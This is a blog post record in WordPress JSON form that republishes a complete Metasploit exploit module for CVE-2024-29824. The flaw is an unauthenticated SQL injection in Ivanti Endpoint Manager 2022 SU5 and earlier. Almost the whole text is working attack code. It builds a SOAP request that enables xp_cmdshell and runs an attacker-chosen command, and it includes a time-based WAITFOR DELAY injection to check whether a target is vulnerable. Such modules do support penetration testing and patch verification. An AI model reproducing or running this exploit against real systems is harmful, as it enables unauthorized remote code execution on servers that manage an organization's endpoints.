{"id":58039,"date":"2024-07-09T18:11:43","date_gmt":"2024-07-09T15:11:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179459\/ivanti_epm_recordgoodapp_sqli_rce.rb.txt"},"modified":"2024-07-09T18:11:43","modified_gmt":"2024-07-09T15:11:43","slug":"ivanti-epm-recordgoodapp-sql-injection-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ivanti-epm-recordgoodapp-sql-injection-remote-code-execution\/","title":{"rendered":"Ivanti EPM RecordGoodApp SQL Injection \/ Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = NormalRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>class IvantiEpmRequestError &lt; StandardError; end<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Ivanti EPM RecordGoodApp SQLi RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;James Horseman&#8217;, # original PoC, analysis<br \/>&#8216;Christophe De La Fuente&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/forums.ivanti.com\/s\/article\/Security-Advisory-May-2024&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-24-507&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/horizon3ai\/CVE-2024-29824&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.horizon3.ai\/attack-research\/attack-blogs\/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability\/&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-29824&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;windows&#8217;],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-05-24&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ],<br \/># MS SQL logs will contain evidence of `xp_cmdshell` being used<br \/># Fetch payload cannot be deleted while a Meterpreter session is active<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The URI of the EPM Web Services&#8217;, &#8216;\/&#8217;]),<br \/>OptInt.new(&#8216;DELAY&#8217;, [ true, &#8216;The delay to detect if the target is vulnerable using time-based SQLi in second&#8217;, 5])<br \/>])<br \/>end<\/p>\n<p>def sqli_payload(cmd)<br \/>&#8220;&#8216;;EXEC sp_configure &#8216;show advanced options&#8217;, 1;RECONFIGURE;EXEC sp_configure &#8216;xp_cmdshell&#8217;, 1;RECONFIGURE;EXEC xp_cmdshell &#8216;#{cmd.encode(xml: :text)}&#8217;&#8211;&#8220;<br \/>end<\/p>\n<p>def xml_payload(sqli)<br \/>&lt;&lt;~XML<br \/>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br \/>&lt;soap12:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:xsd=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema&#8221; xmlns:soap12=&#8221;http:\/\/www.w3.org\/2003\/05\/soap-envelope&#8221;&gt;<br \/>&lt;soap12:Body&gt;<br \/>&lt;UpdateStatusEvents xmlns=&#8221;http:\/\/tempuri.org\/&#8221;&gt;<br \/>&lt;deviceID&gt;string&lt;\/deviceID&gt;<br \/>&lt;actions&gt;<br \/>&lt;Action name=&#8221;string&#8221; code=&#8221;0&#8243; date=&#8221;0&#8243; type=&#8221;96&#8243; user=&#8221;string&#8221; configguid=&#8221;string&#8221; location=&#8221;string&#8221;&gt;<br \/>&lt;status&gt;GoodApp=1|md5=#{sqli}&lt;\/status&gt;<br \/>&lt;\/Action&gt;<br \/>&lt;\/actions&gt;<br \/>&lt;\/UpdateStatusEvents&gt;<br \/>&lt;\/soap12:Body&gt;<br \/>&lt;\/soap12:Envelope&gt;<br \/>XML<br \/>end<\/p>\n<p>def soap_request(sqli, timeout = 20)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;WSStatusEvents&#8217;, &#8216;EventHandler.asmx&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/soap+xml; charset=&#8221;utf-8&#8243;&#8216;,<br \/>&#8216;data&#8217; =&gt; xml_payload(sqli)<br \/>}, timeout)<\/p>\n<p>raise IvantiEpmRequestError, &#8216;Failed to send the SOAP request&#8217; unless res<\/p>\n<p>res<br \/>end<\/p>\n<p>def check<br \/>print_status(&#8220;Checking if the target is vulnerable using time-based SQLi (delay=#{datastore[&#8216;DELAY&#8217;]})&#8221;)<\/p>\n<p>_res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request(&#8220;&#8216;;WAITFOR DELAY &#8216;0:0:0&#8217;;select 1&#8211;&#8220;) }<br \/>vprint_status(&#8220;Baseline query elapsed time: #{elapsed1}&#8221;)<\/p>\n<p>_res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request(&#8220;&#8216;;WAITFOR DELAY &#8216;0:0:#{datastore[&#8216;DELAY&#8217;]}&#8217;;select 2&#8211;&#8220;) }<br \/>vprint_status(&#8220;Delayed query elapsed time: #{elapsed2}&#8221;)<\/p>\n<p>if elapsed2.to_i &gt; elapsed1.to_i &amp;&amp; elapsed2 &gt;= datastore[&#8216;DELAY&#8217;]return CheckCode::Vulnerable(&#8216;SQLi executed&#8217;)<br \/>else<br \/>return CheckCode::Safe(&#8216;SQLi not executed&#8217;)<br \/>end<br \/>rescue IvantiEpmRequestError =&gt; e<br \/>return CheckCode::Unknown(e.to_s)<br \/>end<\/p>\n<p>def exploit<br \/>soap_request(sqli_payload(payload.encoded), 1)<br \/>rescue IvantiEpmRequestError<br \/># Expecting no response if an interactive payload such as Meterpreter is used<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = NormalRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck class IvantiEpmRequestError &lt; StandardError; end def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Ivanti EPM RecordGoodApp SQLi RCE&#8217;,&#8216;Description&#8217; =&gt; %q{Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58039","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58039","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58039"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58039\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58039"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58039"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58039"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}